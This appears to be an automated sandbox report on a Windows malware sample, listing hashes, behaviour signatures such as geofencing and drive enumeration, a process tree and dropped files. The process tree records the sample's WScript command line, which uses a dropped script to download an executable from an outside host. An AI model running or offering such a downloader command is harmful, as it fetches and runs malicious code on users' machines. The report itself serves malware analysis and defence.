Analysis

  • max time kernel
    68s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/12/2022, 05:35

General

  • Target

    affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe

  • Size

    184KB

  • MD5

    93eac4b75daf487f01b0ae8481200b08

  • SHA1

    b910117319134a109bebef99ea98813f6a1f3755

  • SHA256

    affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea

  • SHA512

    737d5af61a45152680df34b2c2267345cfbc29eee03edb3cfcb4b0756dc85f2fae2e0404bed1f944a68a7b2211c20e20db3158a34d01723de106a95ec6ec20b7

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3r:/7BSH8zUB+nGESaaRvoB7FJNndn2

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe
    "C:\Users\Admin\AppData\Local\Temp\affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:400
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFA62.js" http://www.djapp.info/?domain=jJfeYCZcWL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufFA62.exe
      2⤵
      • Blocklisted process makes network request
      PID:4720

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\fufFA62.exe

    Filesize

    570B

    MD5

    8e0a58f058cd7c7c60529306eca18809

    SHA1

    98051aec7a0da58768d314a09377c8350e1aa9f8

    SHA256

    df3efa49cfb4143b32f12e02962f6591271083c1039db0699219c282dd98b586

    SHA512

    8019754f95f4ef8a9028bab732fe970e3f880338d361775c5755338bfa8b3477573940854c812db9bffc774ac526ee4a7c528930f3720b684037706413fb470c

  • C:\Users\Admin\AppData\Local\Temp\fufFA62.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76